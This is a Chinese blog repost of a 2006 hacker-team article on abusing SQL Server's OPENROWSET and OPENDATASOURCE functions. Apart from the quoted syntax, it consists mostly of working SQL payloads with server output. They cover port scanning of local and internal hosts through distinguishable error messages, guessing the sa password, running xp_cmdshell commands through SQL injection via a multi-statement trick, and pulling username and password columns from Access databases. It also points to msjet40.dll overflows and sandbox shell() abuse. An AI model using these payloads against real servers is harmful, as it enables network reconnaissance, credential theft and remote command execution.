2012年9月19日 星期三

【Transact-SQL】openrowset/opendatasource的其他技巧

openrowset/opendatasource的其他技巧

創建時間:2006-06-14
文章屬性:原創
文章提交:HeiGe (hack-520_at_163.com)

openrowset/opendatasource的其他技巧

Author:SuperHei_[At]_ph4nt0m.org
Blog:http://superhei.blogbus.com/
Team:http://www.ph4nt0m.org
Data: 2006-04-16

前言:
openrowset/opendatasource的應用大家應該很熟悉了,cadt[1]就是利用的openrowset,其實我們利用openrowset/opendatasource還可

以做很多事情。



一、函數原形參考:

OPENROWSET:http://msdn2.microsoft.com/zh-cn/library/ms190312(SQL.90).aspx

OPENROWSET
( { 'provider_name' , { 'datasource' ; 'user_id' ; 'password'
| 'provider_string' }
, { [ catalog. ] [ schema. ] object
| 'query'
}
| BULK 'data_file' ,
{ FORMATFILE = 'format_file_path' [ <//bulk_options>]
| SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )

<//bulk_options>::=
[ , CODEPAGE = { 'ACP' | 'OEM' | 'RAW' | 'code_page' } ]
[ , ERRORFILE = 'file_name' ]
[ , FIRSTROW = first_row ]
[ , LASTROW = last_row ]
[ , MAXERRORS = maximum_errors ]
[ , ROWS_PER_BATCH = rows_per_batch ]

OPENDATASOURCE:http://msdn2.microsoft.com/zh-cn/library/ms179856(SQL.90).aspx

OPENDATASOURCE ( provider_name, init_string )

二、具體利用
[下文都以OPENROWSET為例]

A.sqloledb介面利用:

select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=aaa;pwd=aaa','select @@version')

provider_name:sqloledb
datasource:server=127.0.0.1,1433
user_id:uid=aaa
password :pwd=aaa
query: select @@version

1.利用參數datasource進行埠(內網)掃描:

a.本地埠掃描:
*.打開埠[是]:
select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=superhei;pwd=','select @@version')
伺服器: 消息 18456,級別 14,狀態 1,行 1
用戶 'superhei' 登錄失敗。
*.打開埠[否]:
select * from openrowset('sqloledb','server=127.0.0.1,2433;uid=superhei;pwd=','select @@version')
伺服器: 消息 17,級別 16,狀態 1,行 1
SQL Server does not exist or access denied.

b.內網埠掃描:
*.打開埠[是]:
select * from openrowset('sqloledb','server=169.254.155.7,1433;uid=superhei;pwd=','select @@version')
伺服器: 消息 18456,級別 14,狀態 1,行 1
用戶 'superhei' 登錄失敗。
*.打開埠[否]:
select * from openrowset('sqloledb','server=169.254.155.8,1433;uid=superhei;pwd=','select @@version')
伺服器: 消息 17,級別 16,狀態 1,行 1
SQL Server does not exist or access denied.

2.利用user_id/password進行用戶密碼猜解:
*密碼正確
select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select @@version')

Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation

Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

*密碼錯誤
select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123','select @@version')
伺服器: 消息 18456,級別 14,狀態 1,行 1
用戶 'sa' 登錄失敗。

3.跨用戶執行SQL

如果web當前連接的用戶許可權太低如public,提高上面的方法破解出sa的其他dbo的密碼,那麼我們可以通過注射跨用戶[許可權]執行SQL語句了,

我們先測試下:

select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','exec master.dbo.xp_cmdshell [dir]')

伺服器: 消息 7357,級別 16,狀態 2,行 1
未能處理物件 'exec master.dbo.xp_cmdshell [dir]'。OLE DB 提供程式 'sqloledb' 指出該物件中沒有任何列。

暈~~, 沒有成功:沒有列。我們可以利用多語句來突破:

select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select user;exec master.dbo.xp_cmdshell

[dir>c:\test.txt]')

返回select user的結果,我們在到c盤看看test.txt存在,exec master.dbo.xp_cmdshell [dir>c:\test.txt]成功執行了。


B.Microsoft OLE DB Provider for Jet等其他介面的利用。

SELECT f_name, f_password FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', 'D:\lse\Connections\q.mdb';'admin';'',admin)
[ps:mdb沒有設置密碼是 用戶名為admin ,密碼為空]

返回資料庫D:\lse\Connections\q.mdb、表admin、列f_name, f_password的內容,這樣我們可以提高sql注射得到mdb裏的一些敏感資料,不過

上面的語句必須要求sa許可權。我們還可以結合一些介面漏洞,如msjet40.dll溢出,來執行命令。

還有regwrite結合利用沙盒 再利用select shell()執行。等等。

4.BULK的利用[略...有興趣的同學可以搞搞]

來源參考:http://www.xfocus.net/articles/200606/871.html

沒有留言:

張貼留言